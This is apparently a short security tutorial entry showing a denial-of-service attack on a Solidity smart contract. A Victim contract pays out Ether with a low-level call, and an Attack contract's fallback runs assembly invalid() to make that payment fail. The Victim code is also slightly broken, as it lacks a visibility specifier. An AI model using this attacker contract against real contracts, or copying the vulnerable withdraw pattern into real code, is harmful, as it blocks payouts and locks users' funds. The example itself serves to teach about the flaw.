DoS Attack for Smart Contract
DoS with Assembly Invalid Function
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Victim {
address public owner;
uint public balance;
function withdrawUser(address _address) {
(bool success, ) = _address.call{value: balance}("");
// Some code ...
}
}
contract Attack {
Victim target;
constructor(address _targetAddress) {
target = Victim(_targetAddress);
target.withdrawUser(address(this));
}
fallback() payable external {
assembly {
invalid()
}
}
}Last updated